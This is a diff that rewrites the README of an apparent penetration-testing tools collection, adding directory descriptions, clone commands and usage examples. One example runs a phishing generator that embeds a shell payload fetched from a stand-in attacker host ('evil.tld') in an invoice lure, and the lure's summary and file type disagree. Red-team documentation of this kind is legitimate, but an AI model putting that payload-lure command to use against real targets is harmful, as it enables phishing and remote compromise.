README.md Update

README.md

@@ -1,41 +1,203 @@
-## A collection of my Penetration Testing Tools, Scripts, Cheatsheets
+# Penetration‑Testing‑Tools
 
-This is a collection of more than a **160+** tools, scripts, cheatsheets and other loots that I've been developing over years for Penetration Testing and IT Security audits purposes. 
-Most of them came handy at least once during my real-world engagements.
+> A curated collection of **170+** tools, scripts and cheat‑sheets for penetration testing, red teaming and security auditing — collected and maintained by **Mariusz Banach ([@mariuszbit](https://github.com/mgeeky))**.
 
-**Notice:** In order to clone this repository properly - use `--recurse-submodules` switch:
+![MIT License](https://img.shields.io/badge/license-MIT-brightgreen.svg)
+![Stars](https://img.shields.io/github/stars/mgeeky/Penetration-Testing-Tools?style=social)
+
+---
+
+## 📑 Table of Contents
+
+1. [About the repository](#about-the-repository)
+2. [Quick start](#quick-start)
+3. [Directory structure](#directory-structure)
+4. [Minimum requirements](#minimum-requirements)
+5. [Clone & update](#clone--update)
+6. [Finding the right tool](#finding-the-right-tool)
+7. [Usage examples](#usage-examples)
+8. [Contributing](#contributing)
+9. [License](#license)
+10. [Disclaimer](#disclaimer)
+11. [Contact & credits](#contact--credits)
+
+---
+
+## About the repository
+
+This repository is the outcome of years of hands‑on offensive security work. Each script was born from a real‑world need to automate repetitive tasks, validate exploitation hypotheses or bypass defensive controls. **All materials are provided for legal use only** — test **only** systems for which you have *written permission*.
+
+Key facts:
+
+* **170+** standalone utilities and cheat‑sheets
+* 9 major topical directories (clouds, linux, windows, …)
+* >85 % of the code is *Python* and *PowerShell*
+* released under the permissive **MIT** license
+
+---
+
+## Quick start
+
+### 1 · Install dependencies
+
+Most scripts are *portable* and require no global installation. All you need is a recent:
+
+* Python ⩾ 3.8
+* PowerShell ⩾ 5.1 / 7.x
+* Standard Linux utilities
+
+### 2 · Clone the repository with submodules
+
+```bash
+git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools.git
+cd Penetration-Testing-Tools
 ```
-git clone --recurse https://github.com/mgeeky/Penetration-Testing-Tools.git
+
+### 3 · Run your first script
+
+```bash
+cd red-teaming/active-directory
+python3 ADCollector.py -h   # show arguments help
 ```
 
-Most of these files were initially shared on my [Gists](https://gist.github.com/mgeeky) but eventually got moved into this repository.
+---
 
-Every time I stumbled upon a problem that could be better scripted or resolved programatically - I made effort to do just that and thus improve my technical assurance capabilities or to optimize time spent on repetitive actions during projects I've been delivering. 
+## Directory structure
 
-The collection is divided further onto following sections:
+| Directory        | Description                                                       |
+|------------------|-------------------------------------------------------------------|
+| **clouds/**      | Auditing tools for AWS, Azure, GCP                                |
+| **file-formats/**| File‑format fuzzers & analyzers (OLE, PDF, ZIP, …)                |
+| **linux/**       | Linux privilege‑escalation and post‑exploitation utilities        |
+| **networks/**    | Network protocol helpers, device emulators, scanners             |
+| **others/**      | Miscellaneous scripts not covered elsewhere                       |
+| **phishing/**    | Email templates, tracking, campaign automation                    |
+| **red-teaming/** | Active Directory, C2, AV‑evasion, OPSEC tricks                    |
+| **web/**         | Web‑app testing helpers, proxy plugins, exploits                 |
+| **windows/**     | Windows‑specific exploits and post‑exploitation                   |
 
-- `clouds` - Tools I came up with during my cloud assessments
-- `file-formats` - file-format related utilities, fuzzers and alike.
-- `linux` - small bunch of Linux-based scripts and tools.
-- `networks` - Network devices & protocols Penetration Testing toolery
-- `others` - Others related somehow to this craftmanship
-- `phishing` - Scripts and tools used to deliver Phishing Awareness and Red Team simulations 
-- `red-teaming` - Lots of toolings I've been using during my Purple/Red-Teaming engagements
-- `web` - Web applications security assessment related utilities.
-- `windows` - Windows goodies, scripts, exploits.
+> **Tip:** Most directories contain their own `README.md` or `USAGE.txt` with nuances.
 
-The base of these tools do not contain any customer/client related sensitive information as well as there are no engagement-specific tools developed as PoCs.
+---
+
+## Minimum requirements
+
+| Component | Version | Notes                                                         |
+|-----------|---------|---------------------------------------------------------------|
+| Python    | 3.8+    | Some scripts use `asyncio`, f‑strings, etc.                   |
+| PowerShell| 5.1/7+  | PowerShell Core recommended on Linux/macOS                    |
+| Go        | 1.21+   | Needed by a handful of utilities under `clouds/`              |
+| gcc/clang | —       | For building C/C++ PoCs in `windows/` and `red‑teaming/`      |
+
+On Windows, it’s usually easiest to work from WSL 2 + PowerShell Core.
 
 ---
 
-### ☕ Show Support ☕
+## Clone & update
+
+```bash
+# initial clone
+git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools.git
+
+# update repository including its submodules
+git pull --recurse-submodules
+```
+
+If you don’t intend to modify code, add `--depth=1` to shrink download size.
+
+---
+
+## Finding the right tool
+
+1. **Search by name/keyword**
+
+   ```bash
+   git ls-files | grep -i "azure"     # example
+   ```
 
-This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,
-[Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 
+2. **Search by language** with [`tokei`](https://github.com/XAMPPRocky/tokei)
+
+   ```bash
+   tokei . -l PowerShell
+   ```
+
+3. **Search by function** — look for tags in filenames (`enum`, `privesc`, `bypass`, `c2`, …).
+
+> _Pro‑tip_: open the repo as a folder in VS Code and use full‑text search (`Ctrl+Shift+F`).
 
 ---
 
+## Usage examples
+
+> The snippets below illustrate typical usage. Always read `--help`.
+
+<details>
+<summary>Azure enum session</summary>
+
+```bash
+cd clouds/azure/az-flare
+python3 azflare.py --tenant 12345678-90ab-cdef-fedc-ba0987654321 --all
+```
+</details>
+
+<details>
+<summary>Windows privilege escalation</summary>
+
+```powershell
+cd windows/privesc
+.\Seatbelt.exe -group=system -outputfile results.txt
 ```
-Mariusz Banach / mgeeky, (@mariuszbit)
-<mb [at] binary-offensive.com>
-```
+</details>
+
+<details>
+<summary>Phishing: generate a malicious PDF lure</summary>
+
+```bash
+cd phishing/malicious-doc
+python3 generate.py --template invoice.docx --payload https://evil.tld/shell
+```
+</details>
+
+---
+
+## Contributing
+
+1. Fork the repo and create a feature branch: `git checkout -b my-feature`.
+2. Follow existing coding style (PEP 8 for Python, PSScriptAnalyzer for PowerShell).
+3. Add/update the `README.md` in your directory.
+4. Make sure you **do not** disclose any confidential data.
+5. Open a Pull Request describing your changes and including usage example(s).
+
+Please read [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) before contributing.
+
+---
+
+## License
+
+The project is distributed under the MIT license. You are free to:
+
+* use it for private and commercial purposes;
+* modify and redistribute copies;
+* keep links to the original project.
+
+See [LICENSE](LICENSE) for the full text.
+
+---
+
+## Disclaimer
+
+All scripts and instructions are provided *as‑is*. The author and contributors **accept no liability** for any damage caused by using this code. Use these tools **only** for **legal** purposes and **only** against systems you **own** or for which you have **explicit permission**.
+
+---
+
+## Contact & credits
+
+* Author: **Mariusz Banach** / `mgeeky`  
+  Twitter: [@mariuszbit](https://twitter.com/mariuszbit)  
+  Email: `mb[at]binary‑offensive.com`
+* Support the project: [Buy Me a Coffee ☕](https://www.buymeacoffee.com/mgeeky)
+* Huge thanks to all commit authors and the community for ideas and feedback!
+
+---
+
+> Happy testing and safe bugs! :rocket: